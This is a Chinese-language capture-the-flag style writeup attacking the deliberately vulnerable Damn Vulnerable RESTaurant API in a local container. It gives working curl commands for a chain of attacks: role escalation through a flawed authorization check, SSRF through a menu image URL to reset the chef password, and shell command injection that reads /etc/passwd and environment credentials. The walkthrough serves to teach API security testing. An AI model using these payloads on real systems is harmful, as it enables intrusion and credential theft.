> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# Damn Vulnerable RESTaurant：從匿名訪客到容器內 RCE 的完整 API 攻擊鏈
- URL: https://taiwanding.com/damn-vulnerable-restaurant-cong-ni-ming-fang-ke-dao-rong-qi-nei-rce-de-wan-zheng-api-gong-ji-lian/
- Published: 2026-07-10T07:03:50.000Z
- Updated: 2026-07-15T02:50:34.000Z
- Author: Kevin Chen
- Tags: #vulnmachines, #api, #白箱

> 靶機：[theowni/Damn-Vulnerable-RESTaurant-API-Game](https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game?ref=taiwanding.com) 技術棧：FastAPI + PostgreSQL + SQLAlchemy + JWT，全容器化部署 攻擊鏈：匿名註冊 → BFLA 越權 → SSRF → 帳號接管 → 命令注入 RCE 對應：OWASP API Security Top 10 (2023) 幾乎全餐

## TL;DR

這是一台純 API 靶機（沒有前端頁面，只有 JSON 進、JSON 出），官方設定是「從最低權限使用者一路提權到 root，只有一條路」，這篇 writeup 完整記錄我如何從一個匿名訪客，靠七個環環相扣的漏洞，最終在伺服器容器內取得任意命令執行。

整條攻擊鏈的核心不是任何單一的高難度漏洞，而是**漏洞鏈（vulnerability chaining）**：好幾個單獨看「低危」甚至「無害」的缺陷，串起來卻能升級成 critical 等級的完整接管。這正是這台靶機最值得學的地方。

完整殺傷鏈：

1. 匿名註冊取得低權限身份
2. JWT 情報蒐集，確認 role 存於資料庫而非 token
3. **BFLA（功能層授權失效）** 自我提權為中間權限
4. 挖出一支「文件裡藏起來」的隱藏 endpoint
5. 該 endpoint 用「來源 IP 是否為 localhost」當授權
6. **SSRF** 借伺服器之手繞過來源檢查，並把機密經回顯管道帶出
7. 取得最高權限後，觸發 **命令注入（RCE）**

## 0\. 環境部署

作者提供兩種模式：Developer（修漏洞的互動遊戲）與 Ethical Hacker（黑箱挖洞）。我們走後者。

```bash
git clone https://github.com/theowni/Damn-Vulnerable-RESTaurant-API-Game.git
cd Damn-Vulnerable-RESTaurant-API-Game
./start_app.sh

```

服務預設跑在 `http://localhost:8091`。FastAPI 慣例提供三個自動生成介面：

- Swagger UI：`/docs`
- Redoc：`/redoc`
- OpenAPI spec：`/openapi.json`

啟動時日誌會跑三條 Alembic migration，其中 `Added reset password fields` 與 `Added referrals` 兩條，是後續 recon 的第一批線索——**服務自己在告訴你它有哪些功能模組**。

> 至於啟動時那行 `error reading bcrypt version` 的 traceback，可以無視。它前面標了 `(trapped)`，是 passlib 1.7.4 撞上 bcrypt 4.x 讀版本號的老問題，雜湊功能完全正常。

## 1\. Recon：把攻擊面攤平

FastAPI 最大的「特色」對攻擊者是禮物：**它把完整地圖畫給你**。與其在 `/docs` 手點，不如直接把 spec 榨成一張清單：

```bash
curl -s http://localhost:8091/openapi.json | jq -r '
  .paths | to_entries[] | .key as $p | .value | to_entries[]
  | "\(.key|ascii_upcase)\t\($p)\t\(.value.summary // "")"'

```

完整 21 支 endpoint 到手後，我按「攻擊面語意」分群：

| 分群     | Endpoint                                                      | 攻擊直覺                   |
| ------ | ------------------------------------------------------------- | ---------------------- |
| 認證表面   | /token、/register、/reset-password、/reset-password/new-password | Broken Auth、token 可預測性 |
| 帶物件識別碼 | /orders/{order\_id}、/menu/{item\_id}                          | BOLA（物件層 IDOR）         |
| 自己的資源  | /profile（GET/PUT/PATCH）、/orders、/referral-code                | Mass Assignment、過度暴露   |
| 看似特權   | PUT /menu、/admin/stats/disk、/users/update\_role               | BFLA、提權                |

有兩支我當下就標紅：`PUT /users/update_role`（名字直接寫著「改角色狀態」），與 `GET /admin/stats/disk`（「disk usage」這種數字，程式常常直接呼叫作業系統指令去拿——這是命令注入的經典氣味）。

**關鍵認知：純 API、沒有前端**，這反而逼你養成正確的肌肉記憶——不看畫面，直接對 API 推理，真實世界大量標的是前後端分離，前端只是一個「可被繞過的客戶端」，前端做的所有檢查（欄位隱藏、按鈕 disable、格式驗證），在 API 層都能直接無視。

在 Swagger 逛一圈可以看到：**絕大多數 endpoint 都有鎖（要 token），只有 `/register` 沒鎖。** 這條分界線很重要，但要先破除一個新手誤解：

> 「有鎖」只代表「要帶合法 token 才理你」（authentication），**不代表授權做對了**（authorization）。真正的攻擊不是「繞過鎖頭」，而是**合法拿到一把低權限鑰匙，然後拿它去開所有的門，看哪些門其實不該為我開**。

## 2\. 進場：匿名註冊與一次「有價值的失敗」

`/register` 是匿名入口。觀察它的 request 與 response schema，冒出第一個實驗點：

```
request  收 : username, password, phone_number, first_name, last_name
response 吐 : username, phone_number, first_name, last_name, role  ← 多了 role

```

`role` 出現在回應、卻不在請求 schema 裡。這是典型的 **Mass Assignment（API3 / BOPLA）** 測試點：schema 是「文件宣稱的契約」，不是「後端實際行為」。文件說只收五個欄位，不代表後端真的只認這五個。於是我手動 curl，故意多塞一個 `role`：

```bash
curl -s -X POST http://localhost:8091/register \
  -H 'Content-Type: application/json' \
  -d '{
    "username": "rou_test",
    "password": "Passw0rd!123",
    "phone_number": "0900000000",
    "first_name": "rou",
    "last_name": "test",
    "role": "admin"
  }'

```

回應：

```json
{"username":"rou_test","phone_number":"0900000000","first_name":"rou","last_name":"test","role":"Customer"}

```

它無視我塞的 `admin`，強制給我 `Customer`。**這條 mass assignment 被擋住了。**

但這不是失敗，是有價值的陰性結果——真實挖洞八成的時間都在收集這種結果，把攻擊面一格一格劃掉。更重要的是：**我順手拿到了一個合法的 Customer 帳號 `rou_test`。門票到手，那一大票鎖頭現在有鑰匙了。**

## 3\. JWT 拆解：決定整條路線的關鍵情報

登入拿 token（注意 FastAPI 的 `/token` 吃 form-urlencoded，不是 JSON）：

```bash
curl -s -X POST http://localhost:8091/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'username=rou_test&password=Passw0rd!123'

```

拿到 token 後，先手拆——養成不把 token 貼去線上工具的習慣：

```bash
echo "$TOKEN" | cut -d. -f1 | base64 -d 2>/dev/null; echo   # header
echo "$TOKEN" | cut -d. -f2 | base64 -d 2>/dev/null; echo   # payload

```

```json
{"alg":"HS256","typ":"JWT"}
{"sub":"rou_test","exp":1783665857}

```

這裡有一個影響整條攻擊路線的發現：**payload 裡沒有 `role`**，只有 `sub`（你是誰）與 `exp`（何時過期）。

推論很關鍵：token 本身不攜帶權限，它只證明「我是 rou\_test」，那麼當我打一支需要高權限的 endpoint 時，後端不可能從 token 判斷我是不是管理員，它一定是拿 `sub` **回資料庫即時查** role。

這岔出兩條思路：

- **偽造 token（先按下）**：`alg` 是 `HS256`（對稱式），經典玩法是爆 secret 後自簽 token，但因為 payload 裡沒有 role 可竄改，偽造成功也頂多冒充成別的 username，價值有限，附帶一提，`config.py` 裡 `JWT_SECRET_KEY` 若未設環境變數就走隨機生成、只存在記憶體、每次重啟還會變——這條路 CP 值極低。
- **改資料庫裡的 role（主線）**：既然權限的真相在 DB，而系統剛好開了一支 `PUT /users/update_role` 專門改這欄位，主攻方向就此浮現。

> **對稱 vs 非對稱的一課**：HS256 用同一把 secret 簽發與驗證，所以「弱 secret 可離線爆破」永遠是它出現在 production 時該試的一項（`hashcat -m 16500` 或 jwt\_tool），RS256 用私鑰簽、公鑰驗，拿到公鑰也簽不出東西，沒有這個弱點，這台雖然用不到，但這個判斷習慣要帶走。

## 4\. BFLA：守了門檻，漏了中間層

解剖 `PUT /users/update_role`，它的 `security` 欄位只宣告「要帶 token」，沒有任何地方能宣告「要哪種 role」——因為 OpenAPI 的 `security` 表達不了「要不要是管理員」，那個角色檢查若存在，只能是後端手刻的 `if`，而它在不在，spec 看不出來，**只能實際打一發才知道**，這正是 BFLA 必須動手驗證的原因。

body schema `UserRoleUpdate` 要 `username` \+ `role`——注意它是「改某個我點名的 username」，不是綁死自己，這代表若無授權檢查，我能改任何人的角色。

第一發我賭 `Admin`，結果是 `500 Internal Server Error`，因為有 log 上帝視角，直接讀 traceback：

```
sqlalchemy.exc.DataError: (psycopg2.errors.InvalidTextRepresentation)
invalid input value for enum userrole: "admin"
LINE 1: UPDATE users SET role='admin' WHERE users.id = 7

```

這行把四件事一次講清楚：

1. **授權完全沒擋**——請求穿過鎖頭、穿過驗證，一路跑到「對 DB 下 UPDATE」這最後一步，SQL 都幫我組好送到 PostgreSQL 了。
2. 死因不是漏洞不存在，是**值錯**：role 在 DB 是 enum 型別 `userrole`，只認被定義過的字串。
3. 順帶洩漏我的內部 id 是 7。

> **重要陷阱**：`500` 會掩蓋真實的授權行為，一個崩掉的請求不能拿來當「授權沒擋」的證據——後面會再遇到一次。

翻 source 確認 enum 合法值：

```bash
grep -rniE "class (User)?Role" app --include=*.py
grep -rniE "Admin|Chef|Employee|Customer" app --include=*.py

```

結果揭曉一個漂亮的陷阱：

```python
# app/db/models.py
class UserRole(str, enum.Enum):
    CHEF = "Chef"
    EMPLOYEE = "Employee"
    CUSTOMER = "Customer"

```

**這系統的最高權限不叫 Admin，叫 `Chef`**，`/admin/stats/disk` 那個 `admin` 只是 URL 路徑字串，不是角色名——差點被路徑名帶偏。

改填 `Chef` 再送：

```json
{"detail":"Only Chef is authorized to add Chef role!"}

```

**這推翻了一部分假設，而且是好事。** 授權檢查其實存在，只是它有針對性：專門守著「升成 Chef」。那換成中間層呢？

```bash
curl -s -X PUT http://localhost:8091/users/update_role \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"username":"rou_test","role":"Employee"}'

```

```json
{"username":"rou_test","role":"Employee"}

```

**中了**， 一個 Customer 靠自己的 token 把自己升成了 Employee。

> **BFLA 的經典教訓**：開發者做授權檢查時，腦子裡只想著「保護最高權限」，於是只擋了 Customer→Chef，卻忘了 Customer→Employee 也是越權。看到任何分級權限系統，反射就該是「別只測跳到頂，把每一階都測一遍，守衛往往只顧著守最上面那格」。

驗證新權限實際可用（之前 Customer 打不動的建立菜單，現在通了）：

```bash
curl -s -X PUT http://localhost:8091/menu \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"rou_test_dish","price":100,"category":"main","description":"test"}'

```

回 200。同時實錘了 JWT 那個推論：**同一顆舊 token、沒有換發，後端卻放行了——因為它拿 `sub` 回 DB 即時查到我現在是 Employee。**

## 5\. 隱藏 Endpoint：security through obscurity 的反例

終點是 Chef，但卡在「只有 Chef 能授予 Chef role」，既然自己升不上去，那就換個目標——**奪取系統初始化就種好的那個 Chef 帳號**。

從 source 追 `settings.CHEF_USERNAME`，一鏟子挖到主線核心：

```
app/config.py:30:  CHEF_USERNAME = os.getenv("CHEF_USERNAME", "chef")
app/apis/admin/services/reset_chef_password_service.py  ← 一支「重設 chef 密碼」的服務！
app/tests/.../test_admin_service.py:
    test_reset_chef_password_unauthorised_returns_403
    test_reset_chef_password_from_localhost_returns_200   ← 授權判斷的線索

```

Chef 帳號叫 `chef`。而那兩個測試名把授權邏輯洩得一乾二淨：**這支重設密碼的 endpoint，授權判斷是看「請求是否來自 localhost」，不是看角色。**

讀出完整實作：

```python
# app/apis/admin/services/reset_chef_password_service.py
# it's excluded from the docs to make it more secure   ← 註解本人
@router.get("/admin/reset-chef-password", include_in_schema=False)
def get_reset_chef_password(request: Request, db: Session = Depends(get_db)):
    client_host = request.client.host
    if client_host != "127.0.0.1":
        raise HTTPException(403, "Chef password can be reseted only from the local machine!")
    characters = string.ascii_letters + string.digits + "!@#$%^&*()_-+=;:[]"
    new_password = "".join(secrets.choice(characters) for i in range(32))
    update_user_password(db, settings.CHEF_USERNAME, new_password)
    return {"password": new_password}   ← 生成的密碼直接回傳給呼叫者！

```

三個致命點：

1. `**include_in_schema=False**`：這支不出現在 `/openapi.json`，難怪前面 21 支清單沒有它，註解還寫「excluded from the docs to make it more secure」——**這是 security through obscurity 的教科書反例**，**藏起來只讓黑箱的人多花點功夫，對真正打進來的人一點防護都沒有**，真實世界這種「文件沒列但實際存在」的 endpoint 極多，所以才需要用 ffuf/字典爆 spec 沒列的路徑。
2. **授權 = `request.client.host != "127.0.0.1"`**：用來源位置當授權。
3. **天大的紅利**：密碼由伺服器自己生成 32 位隨機值，然後 `return {"password": ...}` **直接回傳**。不用自己設密碼、不用管 reset code——只要成功呼叫，它就把新密碼吐給你。

## 6\. SSRF：借伺服器之手，繞過來源檢查

直接打這支，果然 403：

```bash
curl -s -i http://localhost:8091/admin/reset-chef-password
# HTTP/1.1 403 Forbidden
# {"detail":"Chef password can be reseted only from the local machine!"}

```

關鍵技術辨析——**這支讀的是 `request.client.host`，不是 HTTP header。**

- 若 code 讀的是 header（`X-Forwarded-For`、`X-Real-IP`…），client 完全可控，塞 `X-Forwarded-For: 127.0.0.1` 就繞過，這是最常見的款。
- 但 `request.client.host` 在 Starlette/uvicorn 裡是**從實際 TCP 連線的 socket 對端 IP** 取的，外部 curl 過去，來源是 Docker bridge 的 gateway IP，塞 header 無效。

要讓來源真的等於 `127.0.0.1`，本質上得讓封包**從伺服器內部發出**，這就是 **SSRF** 的用武之地：

> 這個伺服器上有沒有某個功能，會「幫你發出一個請求」，而且目標 URL 你能控制？如果有，就叫伺服器去打 `http://127.0.0.1:8091/admin/reset-chef-password`。**伺服器打自己 = 來源就是 127.0.0.1 = 繞過。**

回頭 grep「伺服器主動發 request」的指紋：

```bash
grep -rniE "requests\.(get|post)|httpx|urllib|urlopen" app --include=*.py | grep -iv test

```

嫌疑犯現形——菜單的圖片功能：

```python
# app/apis/menu/utils.py
def _image_url_to_base64(image_url: str):
    response = requests.get(image_url, stream=True)   ← 拿你給的 URL 去 GET，無白名單
    ...
# 建立/更新菜單時：
image_url = menu_item_dict.pop("image_url", None)
if image_url:
    db_item.image_base64 = _image_url_to_base64(image_url)

```

`image_url` 這個欄位**不在** `MenuItemCreate` 的必填清單，但後端收（又一次「schema 沒明列 ≠ 後端不收」），後端拿它原封不動 `requests.get`，沒有任何白名單、沒擋內網、沒擋 localhost，而這個請求是 web 容器自己發出的——**來源正是容器的 127.0.0.1**。

完整繞過鏈條，還有一個絕妙的收尾：

```
我（外部）打 reset endpoint  → 被 127.0.0.1 檢查擋
改叫 menu 的 image_url = http://127.0.0.1:8091/admin/reset-chef-password
  → 伺服器為了「抓圖」自己去 GET 那個 reset URL
  → reset endpoint 看到來源是 127.0.0.1 → 放行 → 生成新密碼
  → reset 回的 {"password":...} 被 menu 當成「圖片內容」
  → menu 把它 base64 編碼存進 image_base64 回傳給我
  → 我 base64 解碼 → 拿到 chef 的新密碼

```

**SSRF 的回傳資料，剛好被「抓圖→存 base64→回傳」這條管道帶了出來。** 這台把 SSRF 接在圖片功能上，設計非常精巧。

組裝這一發（此時身份是 Employee，能建菜單）：

```bash
curl -s -X PUT http://localhost:8091/menu \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"ssrf_pwn","price":1,"category":"main","description":"ssrf",
       "image_url":"http://127.0.0.1:8091/admin/reset-chef-password"}' \
  | jq -r '.image_base64' | base64 -d; echo

```

輸出（每次執行密碼皆不同，因為是隨機生成）：

```json
{"password":"r#7G85:EOd_bHjdupN]adyAOA8It3wFR"}

```

> **為什麼 SSRF 能拿到明文密碼，而不只是「改掉」？** 這要分清兩件事：「改密碼」與「知道改成什麼」是不同能力，正常的 reset 流程會把新密碼寄到帳號本人信箱，攻擊者觸發了也看不到，那頂多是 DoS（把 chef 鎖在門外），這支的致命錯在於把生成的密碼**直接 return 給發起請求的人**，所以完整因果是：**SSRF 給你「存取權」（能碰到本來碰不到的內部 endpoint），而那支 endpoint「把 secret 回傳」這個獨立的資訊洩漏缺陷，才把「改密碼」升級成「知道密碼、接管帳號」。兩個洞疊在一起，才有一步登頂。**

## 7\. 登頂與命令注入（RCE）

拿 `chef` \+ 新密碼登入（密碼含特殊字元，用 `--data-urlencode` 避免被 shell/URL 吃掉）：

```bash
CHEF_TOKEN=$(curl -s -X POST http://localhost:8091/token \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'username=chef' \
  --data-urlencode 'password=r#7G85:EOd_bHjdupN]adyAOA8It3wFR' \
  | jq -r '.access_token')

```

拆開驗證 `{"sub":"chef",...}`，打開那扇一直鎖著的門：

```bash
curl -s -H "Authorization: Bearer $CHEF_TOKEN" http://localhost:8091/admin/stats/disk

```

```json
{"output":"Filesystem  Size  Used ... /dev/sdd  1007G  243G  713G  26% /app"}

```

登頂達成。但那個 `"output"` key + 逐字 `df -h` 輸出的格式，是**命令執行**的指紋，追 source：

```python
# app/apis/admin/utils.py
def get_disk_usage(parameters: str):
    command = "df -h " + parameters                          # ① 字串拼接使用者輸入
    result = subprocess.run(command, ..., shell=True)        # ② shell=True

# app/apis/admin/services/get_disk_stats_service.py
def get_disk_usage_stats(current_user, parameters: str = "", ...):   # ③ parameters 是 query string，可控
    if current_user.role != UserRole.CHEF.value: ...
    usage = get_disk_usage(parameters)

```

命令注入三要素一次到齊：使用者輸入**字串拼接**進指令、`**shell=True**`（讓 shell 元字元全部生效）、`parameters` 是**可控的 query string**。指令 `df -h <輸入>`，只要塞一個 `;`，就能在後面接自己的指令：

```bash
curl -s -G "http://localhost:8091/admin/stats/disk" \
  -H "Authorization: Bearer $CHEF_TOKEN" \
  --data-urlencode 'parameters=; id' | jq -r '.output'

```

`df` 輸出之後多出 `uid=...`——**RCE 實錘。** 進一步蒐集：

```bash
# 誰、在哪
--data-urlencode 'parameters=; whoami; hostname; pwd'
# 讀任意檔
--data-urlencode 'parameters=; cat /etc/passwd'
# 挖環境變數（真正的寶）
--data-urlencode 'parameters=; env'

```

`env` 撈到 DB 完整憑證：

```
POSTGRES_USER=admin
POSTGRES_PASSWORD=password
POSTGRES_SERVER=db
POSTGRES_PORT=5432

```

**即使跳不出容器，這組憑證已讓我能直連同網段的 PostgreSQL，全庫讀寫**——撈所有 password hash、改任何人 role、竄改訂單。

> **RCE 是漏洞金字塔的頂點**：拿到命令執行，其他所有洞都變成註腳。

## 8\. 容器逃逸偵查：一次全陰性的「縱深防禦」課

拿到容器內 RCE，紅隊的標準下一問是「能不能逃逸到宿主？」跑一遍標準 escape checklist：

**是不是 container root？** 不是，`/etc/passwd` 顯示服務用 `app`（uid 1000）跑，非 root，多數經典逃逸需要 container 內 root，這步就卡掉一大半路徑。

**Docker socket 有沒有被掛進來？**（逃逸頭號捷徑）

```bash
--data-urlencode 'parameters=; ls -la /var/run/docker.sock 2>&1'
# ls: cannot access '/var/run/docker.sock': No such file or directory

```

沒有。

**是不是 privileged / 有沒有危險 capability？**

```bash
--data-urlencode 'parameters=; cat /proc/self/status | grep -i cap; ls -la /dev | head'
# CapEff: 0000000000000000   ← 有效能力全空
# /dev 只有 autofs/core/full 等最小字元裝置，無 /dev/sd* 區塊裝置

```

`CapEff=0` 代表這個 process 一個 Linux capability 都沒生效（因為降權跑）。靠 `CAP_SYS_ADMIN` 之類的逃逸全部用不了。`/dev` 無區塊裝置 + `CapEff=0` → **鐵證非 privileged。**

> 判 privileged 的快速心法：privileged 容器的 `CapEff` 會是一長串 `f`（如 `0000003fffffffff`），`ls /dev` 會看到宿主整排區塊裝置（`/dev/sda`…）。

**Mounts 有沒有宿主 bind mount？** 只有純淨的 overlay，沒有 `/host`、`/root` 之類被掛進來。

**結論：這台無法容器逃逸，而這是設計上的正解，不是打得不夠。**

我手握容器內 RCE + 服務層完全淪陷（chef、DB 憑證、任意命令），但**宿主毫髮無傷**，這就是縱深防禦活生生的示範：

> 容器化是一道有效的防禦邊界，應用層被打穿（RCE）不等於宿主淪陷，一個配置正確的容器（非 root、不掛 socket、非 privileged、無多餘 mount/cap），能把 RCE 的 blast radius 死死圈在容器內，DVRA 示範了一個容器**該長的樣子**——而真實世界的逃逸機會，永遠來自**偏離**這個正解的誤配：服務用 root 跑、`docker.sock` 圖方便掛進來、`--privileged` 省事、把宿主目錄 bind mount 進去、過期的 runc（如 CVE-2024-21626），見過「正常長相」的基線，將來才抓得到異常。

## 完整 Kill Chain

| # | 漏洞                     | 位置                                | OWASP API 2023   |
| - | ---------------------- | --------------------------------- | ---------------- |
| 1 | 匿名註冊（入口）               | POST /register                    | —                |
| 2 | JWT 不帶 role，權限存 DB     | /token 簽發                         | API2 Broken Auth |
| 3 | **BFLA / 不完整授權**       | PUT /users/update\_role           | **API5**         |
| 4 | 隱藏 endpoint（obscurity） | GET /admin/reset-chef-password    | API9 資產管理不當      |
| 5 | 來源型 access control     | 同上，client.host=="127.0.0.1"       | API1 / API5      |
| 6 | **SSRF + 資料回顯**        | menu.image\_url 無白名單 requests.get | **API7 SSRF**    |
| 7 | **命令注入（RCE）**          | df -h + parameters，shell=True     | API8 組態錯誤 → RCE  |

兩個貫穿全場的元主題：

- **信任邊界的誤置**：#3 信任「不是最高權限就沒事」、#5 信任「來源 IP」、#6 信任「image\_url 是良性的」。每個洞都是把某個不該信的東西當成可信。
- **漏洞鏈 > 單點**：#5 單獨看是「localhost only，低危」，#6 單獨看是「抓圖 SSRF，中危」——串起來卻是 critical 等級的帳號接管。頂級 bug hunter 的報告動輒 critical，不是因為找到更難的單一洞，而是**看得見洞與洞之間的接口**。

## 結語

DVRA 把一整套現代 API 攻擊面壓縮進一台小靶機：BOLA/BFLA 的授權缺口、mass assignment 的序列化邊界、SSRF 的位置轉移、命令注入的 RCE，最後用一個配置正確的容器示範了縱深防禦。

最值得帶走的不是任何單一 payload，而是那個思維轉換：**把每個漏洞都當成「它改變了什麼前提」的東西，然後去找「還有哪個漏洞的成立，正好依賴我剛剛推翻的那個前提」**，漏洞鏈就是這樣長出來的——而這正是把「會打」升華成「會評估、會寫報告、講得清 impact」的分水嶺。

*本文為 DVRA 靶機的教學型 writeup，所有操作皆在本機隔離環境進行*，*切勿對未授權的系統進行任何測試。*